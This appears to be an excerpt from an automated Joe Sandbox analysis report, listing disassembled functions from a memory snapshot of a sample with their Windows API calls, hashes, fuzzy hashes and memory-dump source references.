Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 7829e02dcbd74b51c5e196648e5aad52518f68633834b7095f7e5950a32ae739
Instruction ID: a2866ead9f66773e097c2ecab2c0829de5c470008dd0085dbc5232441c33fd63
Opcode Fuzzy Hash: 7829e02dcbd74b51c5e196648e5aad52518f68633834b7095f7e5950a32ae739
Instruction Fuzzy Hash: F6E0B665F0950786FF1CEBB398451B91AA16FF8B55B044034E92EC63D2FE2CA4968A00

Function 00007FF6FE1833E4 Relevance: 1.8, APIs: 1, Instructions: 328COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18388C

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: cc8fab3c86f7d6fe0b03a4b9e3a11541b4bca2b64503b20e80c6e1f24e71eafb
Instruction ID: 72bd16fb82975544af8c200d7e572f97766f133fc792a3576f8000f7f465e5f5
Opcode Fuzzy Hash: cc8fab3c86f7d6fe0b03a4b9e3a11541b4bca2b64503b20e80c6e1f24e71eafb
Instruction Fuzzy Hash: 38D18762F0C68155EB68CB2695402BD7FA1FBA5B84F0C0135EA7D877E5EF38E6618700

Function 00007FF6FE195294 Relevance: 1.7, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE19551B

Part of subcall function 00007FF6FE1A13F4: CompareStringW.KERNEL32 ref: 00007FF6FE1A145A

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: CompareString_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1017591355-0
Opcode ID: a143f18b4ccf410723d5b55495dd87be6177e3dd9b35435d6782b563dee17ef9
Instruction ID: f6d0b539cda47bf0b430e054db9522837dc780314a4c204608661898f1e7a915
Opcode Fuzzy Hash: a143f18b4ccf410723d5b55495dd87be6177e3dd9b35435d6782b563dee17ef9
Instruction Fuzzy Hash: CC61DC11E0C24781FBA4DA27941427E6A91AFE5BD0F144131FE6EA7ACEFE6CE5448221

Function 00007FF6FE1A1870 Relevance: 1.7, APIs: 1, Instructions: 172COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FE19E948: ReleaseSemaphore.KERNEL32 ref: 00007FF6FE19E974
Part of subcall function 00007FF6FE19E948: CloseHandle.KERNELBASE ref: 00007FF6FE19E993
Part of subcall function 00007FF6FE19E948: DeleteCriticalSection.KERNEL32 ref: 00007FF6FE19E9AA
Part of subcall function 00007FF6FE19E948: CloseHandle.KERNEL32 ref: 00007FF6FE19E9B7

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A1ACB

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: CloseHandle$CriticalDeleteReleaseSectionSemaphore_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 904680172-0
Opcode ID: 83a8608da7dc23804aca21668a1faaf692e5e9dd69844c9f3465cc8d5fef8d50
Instruction ID: 8e79a7ac4c4ea5472b45828d2c7b11d8f3686df96a037a3de82886c0f20d7774
Opcode Fuzzy Hash: 83a8608da7dc23804aca21668a1faaf692e5e9dd69844c9f3465cc8d5fef8d50
Instruction Fuzzy Hash: 79618CA2F15A85A2EF08DB66D5540BC6765FB90F90B544232F73E87AC5EF28E464C300

Function 00007FF6FE18EC9C Relevance: 1.6, APIs: 1, Instructions: 145COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18EEB8

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: d3e9fa35f1103ad580ad4f8a12127b3ececafcbd4c14c285a9c87c65cd680fd4
Instruction ID: ecd1544252dc06bc228a0f0b019626ecf20a8681ad0584893861540caaa0d4d7
Opcode Fuzzy Hash: d3e9fa35f1103ad580ad4f8a12127b3ececafcbd4c14c285a9c87c65cd680fd4
Instruction Fuzzy Hash: 8B518062E0C64250EB14DB2798443AE2F51ABE5BD4F440236FE6D877D6EE3DE585C300

Function 00007FF6FE18E7A8 Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FE193EC8: FindClose.KERNEL32(?,?,00000000,00007FF6FE1A0811), ref: 00007FF6FE193EFD

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18E993

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: CloseFind_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1011579015-0
Opcode ID: 864680af9fc0f386fe5511f3b68e5025b57726e97162e4a7d041eb2bb48d23ec
Instruction ID: 86d3583b6cc7ea8383ce56e135840cd54a31be931c82bf41bc4e353e29386dce
Opcode Fuzzy Hash: 864680af9fc0f386fe5511f3b68e5025b57726e97162e4a7d041eb2bb48d23ec
Instruction Fuzzy Hash: 30515F22E0C68681FB60DF26984536E2B51FBE5B84F440136FA6D876E9EE3CE581C700

Function 00007FF6FE191794 Relevance: 1.6, APIs: 1, Instructions: 115COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE19187D

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: d4710ee1c17745c4e2fb2185b683256d00337611548b7710b9c1317264979094
Instruction ID: ba55c4c96161a2cf6b0d1e909c91c50e006d67e459fceccf1616a4e448893212
Opcode Fuzzy Hash: d4710ee1c17745c4e2fb2185b683256d00337611548b7710b9c1317264979094
Instruction Fuzzy Hash: 6F41A262F18A8142FB14DA17A64036EAA51BB94BC0F448536EE6D87F9EEF7CD5918300

Function 00007FF6FE192F58 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1930C8

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: f5994b23863df56f13e19732c7b5392fac300bbdca5fd5cc38b58261a4c2634e
Instruction ID: 2219215de757ba4a32e055dcbc60a3cbedb36b5c9da5d30a24e8a6fb0bab55c1
Opcode Fuzzy Hash: f5994b23863df56f13e19732c7b5392fac300bbdca5fd5cc38b58261a4c2634e
Instruction Fuzzy Hash: 9541B062E08A0180EB14DB26E54537D2B61EBE5BD8F181235FA6D877DDEE3DE441C600

Function 00007FF6FE1BBDF8 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6FE1BBE20

Part of subcall function 00007FF6FE1BBFB0: GetModuleHandleExW.KERNEL32 ref: 00007FF6FE1BBFD0
Part of subcall function 00007FF6FE1BBFB0: GetProcAddress.KERNEL32 ref: 00007FF6FE1BBFE6
Part of subcall function 00007FF6FE1BBFB0: FreeLibrary.KERNEL32 ref: 00007FF6FE1BC00B

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 5b4d6432c9ab27f48bf344f41163fa66ca8822e5b5ed34cf2c0174bd429b5c6d
Instruction ID: 752b928dd75737378aac5a64a955e184168eccd9497a1d237cc21881a5b3d012
Opcode Fuzzy Hash: 5b4d6432c9ab27f48bf344f41163fa66ca8822e5b5ed34cf2c0174bd429b5c6d
Instruction Fuzzy Hash: C7416F21E19A5282EB64DF1698905B82A51BFF4B40F44443AFA2ED7BE1EE7DF841C740

Function 00007FF6FE18129C Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6FE181396

Part of subcall function 00007FF6FE181F80: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6FE181F89

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: Concurrency::cancel_current_taskstd::bad_alloc::bad_alloc
String ID:
API String ID: 680105476-0
Opcode ID: 6f88c17e658a7e6a764477403b9247f1d27f5880b65831beeeee99c6ba04093e
Instruction ID: 5ed2984f8543deed216d5e1d5c37ec3a77ced97e803de35dcd005b0a7507edf4
Opcode Fuzzy Hash: 6f88c17e658a7e6a764477403b9247f1d27f5880b65831beeeee99c6ba04093e
Instruction Fuzzy Hash: 56218D22F0C65185FB14DA52A4402B96B54ABA5BF0F680B32EE3D87BC1EE7CE2518300

Function 00007FF6FE1C124C Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FE1C1280

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 9dd5a9e84c18447e56e2265fa04046f11d37b96b7f5b774ce3305aa6458b3f00
Instruction ID: 22e57061fa78715b36bb9191c2987db8c7de1e0979a7377f8621116598215d56
Opcode Fuzzy Hash: 9dd5a9e84c18447e56e2265fa04046f11d37b96b7f5b774ce3305aa6458b3f00
Instruction Fuzzy Hash: 54113A26F5C64286F710DB56A4405B96AA4FBE4380F640536FAADD6BD5EF2CE840C700

Function 00007FF6FE1AFC68 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FE1AF0A4: GetDlgItem.USER32 ref: 00007FF6FE1AF0E3
Part of subcall function 00007FF6FE1AF0A4: ShowWindow.USER32 ref: 00007FF6FE1AF109
Part of subcall function 00007FF6FE1AF0A4: SendMessageW.USER32 ref: 00007FF6FE1AF11E
Part of subcall function 00007FF6FE1AF0A4: SendMessageW.USER32 ref: 00007FF6FE1AF136
Part of subcall function 00007FF6FE1AF0A4: SendMessageW.USER32 ref: 00007FF6FE1AF157
Part of subcall function 00007FF6FE1AF0A4: SendMessageW.USER32 ref: 00007FF6FE1AF173
Part of subcall function 00007FF6FE1AF0A4: SendMessageW.USER32 ref: 00007FF6FE1AF1B6
Part of subcall function 00007FF6FE1AF0A4: SendMessageW.USER32 ref: 00007FF6FE1AF1D4
Part of subcall function 00007FF6FE1AF0A4: SendMessageW.USER32 ref: 00007FF6FE1AF1E8
Part of subcall function 00007FF6FE1AF0A4: SendMessageW.USER32 ref: 00007FF6FE1AF212
Part of subcall function 00007FF6FE1AF0A4: SendMessageW.USER32 ref: 00007FF6FE1AF22A

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AFD03

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: MessageSend$ItemShowWindow_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1587882848-0
Opcode ID: cda69570bdac1a94ff29650853fe264a00bf8ba2677d701060c4dce7484e7aab
Instruction ID: 81b2596e0b9080cba4652a4cc2e9ad0c78b4dce7899b6a7f9adfeca9612187ad
Opcode Fuzzy Hash: cda69570bdac1a94ff29650853fe264a00bf8ba2677d701060c4dce7484e7aab
Instruction Fuzzy Hash: 7801A562E5868541EB20D726D44537E6712EFEDB94F500331FABD867DAFE2CE144C604

Function 00007FF6FE183AD8 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE183B6C

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: d36793c31387f104dd38dd6a9dfed600e2c4ae88e6f2c17daf49c6767410ecdf
Instruction ID: a05514572d86883f5e912276deb7ce7ccb49ca896569e227c87848d82219a9c7
Opcode Fuzzy Hash: d36793c31387f104dd38dd6a9dfed600e2c4ae88e6f2c17daf49c6767410ecdf
Instruction Fuzzy Hash: 9D01A1A2E1CA8541EB21DB2AE4412697761FBE9790F445231FAAC47BE5EE2CE1408604

Function 00007FF6FE1B1558 Relevance: 1.5, APIs: 1, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF6FE1B1604: GetModuleHandleW.KERNEL32(?,?,?,00007FF6FE1B1573,?,?,?,00007FF6FE1B192A), ref: 00007FF6FE1B162B

DloadProtectSection.DELAYIMP ref: 00007FF6FE1B15C9

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: DloadHandleModuleProtectSection
String ID:
API String ID: 2883838935-0
Opcode ID: 902d746097657f35995c40355b3f554eba39218e3fb79a70aefbb70b68ceb6fd
Instruction ID: bd02f3e2f396c35acfd09909f3545fe57740a75d13b478a3c3e9f4bafe47096a
Opcode Fuzzy Hash: 902d746097657f35995c40355b3f554eba39218e3fb79a70aefbb70b68ceb6fd
Instruction Fuzzy Hash: 0111ACE1F08A0681FB60DB4BA8843B11B51AFB5348F190435F92EC67E1FE7CB8958600

Function 00007FF6FE193EC8 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FE1940BC: FindFirstFileW.KERNELBASE ref: 00007FF6FE19410B
Part of subcall function 00007FF6FE1940BC: FindFirstFileW.KERNELBASE ref: 00007FF6FE19415E
Part of subcall function 00007FF6FE1940BC: GetLastError.KERNEL32 ref: 00007FF6FE1941AF

FindClose.KERNEL32(?,?,00000000,00007FF6FE1A0811), ref: 00007FF6FE193EFD

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: b8896e383a5d1dcda19e37a11711c970bf4128f41c8ad41a5c5cc42cc5e45b14
Instruction ID: 87d6e5124c5807a7d2c1b03b19d69f8d7d9735b393d6453bee00bad99e5fc20a
Opcode Fuzzy Hash: b8896e383a5d1dcda19e37a11711c970bf4128f41c8ad41a5c5cc42cc5e45b14
Instruction Fuzzy Hash: 55F0A462D0824185DB10EF76A1401BD3B609FA5BB4F181335FA3D472CBDE28D454C745

Function 00007FF6FE19273C Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE ref: 00007FF6FE192755

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 7793d0dfaf1bed477703e517dfb550f1e48d00439aedf8bd4eeb9f79e866bcb3
Instruction ID: 1993edc2bd49e95720ddabf265f9800cf8b7e64e5a659217e07838687ab2f279
Opcode Fuzzy Hash: 7793d0dfaf1bed477703e517dfb550f1e48d00439aedf8bd4eeb9f79e866bcb3
Instruction Fuzzy Hash: 80E08C12F2052582FF24EB6BD8826A81720AFE8B84B481030EE1C873A5DE28D491CA40

Function 00007FF6FE192490 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE ref: 00007FF6FE1924A2

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: df9a28314c6b6fddfb177ebf539387614dcb0363737e1ba4f38fe55c4f903e1a
Instruction ID: 1cc7a2315333f1ab38db0f2ff978384dbc3ad52d1c19524715aa93af6a47c5ce
Opcode Fuzzy Hash: df9a28314c6b6fddfb177ebf539387614dcb0363737e1ba4f38fe55c4f903e1a
Instruction Fuzzy Hash: FFD01212E09451C2EF10D73BA89107C2750AFE2735FA40730E63EC26E1DF1DA496E311

Function 00007FF6FE197FC4 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE ref: 00007FF6FE197FD2

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

